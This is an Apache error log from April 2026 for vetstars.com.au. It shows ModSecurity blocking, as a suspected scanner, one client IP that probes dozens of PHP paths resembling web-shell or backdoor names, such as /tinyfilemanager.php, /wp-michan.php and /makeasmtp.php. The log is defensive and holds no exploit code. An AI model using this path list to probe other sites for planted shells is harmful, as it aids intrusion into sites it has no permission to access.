[Sun Apr 19 13:04:58.082502 2026] [:error] [pid 47772:tid 47811] [client 51.12.84.102:52313] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeRieoc0L16cb4smAz86kwAAABY"]
[Sun Apr 19 13:04:59.563601 2026] [:error] [pid 47772:tid 47793] [client 51.12.84.102:60950] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless4.php"] [unique_id "aeRie4c0L16cb4smAz86nAAAAAQ"]
[Sun Apr 19 13:05:00.769150 2026] [:error] [pid 47773:tid 47838] [client 51.12.84.102:52309] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeRifOiBHdnCJDuPq9DtTgAAAFY"]
[Sun Apr 19 13:05:02.362100 2026] [:error] [pid 15763:tid 15817] [client 51.12.84.102:52245] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeRifrMXv1Y1THOoxaCP3gAAAhU"]
[Sun Apr 19 13:05:03.393484 2026] [:error] [pid 47886:tid 47895] [client 51.12.84.102:60264] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeRif0Se8yiyuPrD7yM7WgAAAMc"]
[Sun Apr 19 13:05:05.239651 2026] [:error] [pid 15693:tid 15705] [client 51.12.84.102:52341] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aeRigcNMD-ccazQlTsk2KwAAAUk"]
[Sun Apr 19 13:05:06.272456 2026] [:error] [pid 15693:tid 15696] [client 51.12.84.102:60939] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeRigsNMD-ccazQlTsk2LQAAAUA"]
[Sun Apr 19 13:05:07.610227 2026] [:error] [pid 47773:tid 47817] [client 51.12.84.102:60235] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeRig-iBHdnCJDuPq9DtVAAAAEE"]
[Sun Apr 19 13:05:10.009585 2026] [:error] [pid 15760:tid 15785] [client 51.12.84.102:60231] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeRihvSdD_XHQMJ_IStQkQAAAdE"]
[Sun Apr 19 13:05:12.430093 2026] [:error] [pid 15760:tid 15777] [client 51.12.84.102:60957] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aeRiiPSdD_XHQMJ_IStQnQAAAck"]
[Sun Apr 19 13:05:14.113080 2026] [:error] [pid 47773:tid 47821] [client 51.12.84.102:60932] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeRiiuiBHdnCJDuPq9DtXAAAAEU"]
[Sun Apr 19 13:05:17.923817 2026] [:error] [pid 15760:tid 15768] [client 51.12.84.102:60942] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeRijfSdD_XHQMJ_IStQtgAAAcA"]
[Sun Apr 19 13:05:19.534252 2026] [:error] [pid 15760:tid 15773] [client 51.12.84.102:52319] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeRij_SdD_XHQMJ_IStQwgAAAcU"]
[Sun Apr 19 13:05:21.700590 2026] [:error] [pid 15760:tid 15780] [client 51.12.84.102:44379] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aeRikfSdD_XHQMJ_IStQ0QAAAcw"]
[Sun Apr 19 13:05:23.168185 2026] [:error] [pid 15760:tid 15771] [client 51.12.84.102:60988] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeRik_SdD_XHQMJ_IStQ2AAAAcM"]
[Sun Apr 19 13:05:24.967300 2026] [:error] [pid 15763:tid 15807] [client 51.12.84.102:60981] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeRilLMXv1Y1THOoxaCP5wAAAgs"]
[Sun Apr 19 13:05:26.415115 2026] [:error] [pid 15760:tid 15787] [client 51.12.84.102:45518] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeRilvSdD_XHQMJ_IStQ6wAAAdM"]
[Sun Apr 19 13:05:28.042656 2026] [:error] [pid 47772:tid 47800] [client 51.12.84.102:52325] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "aeRimIc0L16cb4smAz86tAAAAAs"]
[Sun Apr 19 13:05:29.406780 2026] [:error] [pid 15764:tid 15831] [client 51.12.84.102:60932] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeRimWLL_sqdSHoVp-R1awAAAkU"]
[Sun Apr 19 13:05:31.349841 2026] [:error] [pid 15760:tid 15792] [client 51.12.84.102:60966] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeRim_SdD_XHQMJ_IStRAgAAAdg"]
[Sun Apr 19 13:05:32.323178 2026] [:error] [pid 15760:tid 15777] [client 51.12.84.102:60984] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeRinPSdD_XHQMJ_IStRCgAAAck"]
[Sun Apr 19 13:05:33.199640 2026] [:error] [pid 47772:tid 47789] [client 51.12.84.102:60977] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aeRinYc0L16cb4smAz86ugAAAAA"]
[Sun Apr 19 13:05:34.026390 2026] [:error] [pid 15763:tid 15797] [client 51.12.84.102:52299] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeRinrMXv1Y1THOoxaCP8gAAAgE"]
[Sun Apr 19 13:05:34.897822 2026] [:error] [pid 47886:tid 47902] [client 51.12.84.102:60239] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeRinkSe8yiyuPrD7yM7aQAAAM4"]
[Sun Apr 19 13:05:35.628779 2026] [:error] [pid 47773:tid 47840] [client 51.12.84.102:60987] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeRin-iBHdnCJDuPq9DtYQAAAFg"]
[Sun Apr 19 13:05:36.513462 2026] [:error] [pid 47773:tid 47823] [client 51.12.84.102:45516] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aeRioOiBHdnCJDuPq9DtZgAAAEc"]
[Sun Apr 19 13:05:37.525684 2026] [:error] [pid 15760:tid 15788] [client 51.12.84.102:60965] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeRiofSdD_XHQMJ_IStRFgAAAdQ"]
[Sun Apr 19 13:05:38.329801 2026] [:error] [pid 15760:tid 15790] [client 51.12.84.102:52228] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeRiovSdD_XHQMJ_IStRHwAAAdY"]
[Sun Apr 19 13:05:39.202014 2026] [:error] [pid 15760:tid 15777] [client 51.12.84.102:60983] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeRio_SdD_XHQMJ_IStRJgAAAck"]
[Sun Apr 19 13:05:39.946847 2026] [:error] [pid 15760:tid 15772] [client 51.12.84.102:60246] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeRio_SdD_XHQMJ_IStRKQAAAcQ"]
[Sun Apr 19 13:05:41.705648 2026] [:error] [pid 47886:tid 47898] [client 51.12.84.102:52312] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeRipUSe8yiyuPrD7yM7bQAAAMo"]
[Sun Apr 19 13:05:43.176375 2026] [:error] [pid 15764:tid 15832] [client 51.12.84.102:52307] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeRip2LL_sqdSHoVp-R1fAAAAkY"]
[Sun Apr 19 13:05:45.003926 2026] [:error] [pid 15760:tid 15777] [client 51.12.84.102:60258] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeRiqfSdD_XHQMJ_IStROwAAAck"]
[Sun Apr 19 13:05:47.824957 2026] [:error] [pid 15764:tid 15829] [client 51.12.84.102:60941] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-update.php"] [unique_id "aeRiq2LL_sqdSHoVp-R1lQAAAkM"]
[Sun Apr 19 13:05:50.062839 2026] [:error] [pid 15760:tid 15776] [client 51.12.84.102:44372] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeRirvSdD_XHQMJ_IStRPgAAAcg"]
[Sun Apr 19 13:06:09.885921 2026] [autoindex:error] [pid 47886:tid 47894] [client 51.12.84.102:52304] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 13:06:51.045797 2026] [:error] [pid 47886:tid 47911] [client 51.12.84.102:52304] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeRi60Se8yiyuPrD7yM7jQAAANc"]
[Sun Apr 19 13:06:52.302860 2026] [:error] [pid 15764:tid 15843] [client 51.12.84.102:52233] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeRi7GLL_sqdSHoVp-R19AAAAlE"]
[Sun Apr 19 13:06:52.974767 2026] [:error] [pid 47772:tid 47811] [client 51.12.84.102:60227] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeRi7Ic0L16cb4smAz87KgAAABY"]
[Sun Apr 19 13:06:53.833200 2026] [:error] [pid 15760:tid 15783] [client 51.12.84.102:60230] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeRi7fSdD_XHQMJ_IStSUwAAAc8"]
[Sun Apr 19 13:06:54.585566 2026] [:error] [pid 15760:tid 15792] [client 51.12.84.102:60275] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeRi7vSdD_XHQMJ_IStSVgAAAdg"]
[Sun Apr 19 13:06:55.880688 2026] [:error] [pid 15760:tid 15789] [client 51.12.84.102:44376] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeRi7_SdD_XHQMJ_IStSbgAAAdU"]
[Sun Apr 19 13:06:57.387557 2026] [:error] [pid 15760:tid 15774] [client 51.12.84.102:60236] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeRi8fSdD_XHQMJ_IStS2wAAAcY"]
[Sun Apr 19 13:06:58.276195 2026] [:error] [pid 15760:tid 15774] [client 51.12.84.102:52316] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeRi8vSdD_XHQMJ_IStS4QAAAcY"]
[Sun Apr 19 13:06:59.081066 2026] [:error] [pid 47773:tid 47821] [client 51.12.84.102:60971] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeRi8-iBHdnCJDuPq9DtqgAAAEU"]
[Sun Apr 19 13:06:59.825110 2026] [:error] [pid 15760:tid 15770] [client 51.12.84.102:45559] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeRi8_SdD_XHQMJ_IStS5QAAAcI"]
[Sun Apr 19 13:07:00.610348 2026] [:error] [pid 15760:tid 15791] [client 51.12.84.102:60970] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeRi9PSdD_XHQMJ_IStS6AAAAdc"]
[Sun Apr 19 13:07:01.366209 2026] [:error] [pid 15764:tid 15844] [client 51.12.84.102:60967] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeRi9WLL_sqdSHoVp-R2TwAAAlI"]
[Sun Apr 19 13:07:02.260638 2026] [:error] [pid 15764:tid 15840] [client 51.12.84.102:60244] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeRi9mLL_sqdSHoVp-R2UwAAAk4"]
[Sun Apr 19 13:07:02.957599 2026] [:error] [pid 47772:tid 47804] [client 51.12.84.102:52242] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeRi9oc0L16cb4smAz87XQAAAA8"]
[Sun Apr 19 13:07:04.338724 2026] [:error] [pid 15764:tid 15841] [client 51.12.84.102:52298] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeRi-GLL_sqdSHoVp-R2WgAAAk8"]
[Sun Apr 19 13:07:05.077934 2026] [:error] [pid 15764:tid 15843] [client 51.12.84.102:60274] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeRi-WLL_sqdSHoVp-R2WwAAAlE"]
[Sun Apr 19 13:07:05.697884 2026] [:error] [pid 15760:tid 15781] [client 51.12.84.102:60268] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeRi-fSdD_XHQMJ_IStS7AAAAc0"]
[Sun Apr 19 13:07:06.442341 2026] [:error] [pid 47886:tid 47903] [client 51.12.84.102:60956] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeRi-kSe8yiyuPrD7yM7sgAAAM8"]
[Sun Apr 19 13:07:07.328114 2026] [:error] [pid 15764:tid 15827] [client 51.12.84.102:52264] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeRi-2LL_sqdSHoVp-R2XgAAAkE"]
[Sun Apr 19 13:07:07.977094 2026] [:error] [pid 15760:tid 15768] [client 51.12.84.102:45507] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeRi-_SdD_XHQMJ_IStS7QAAAcA"]
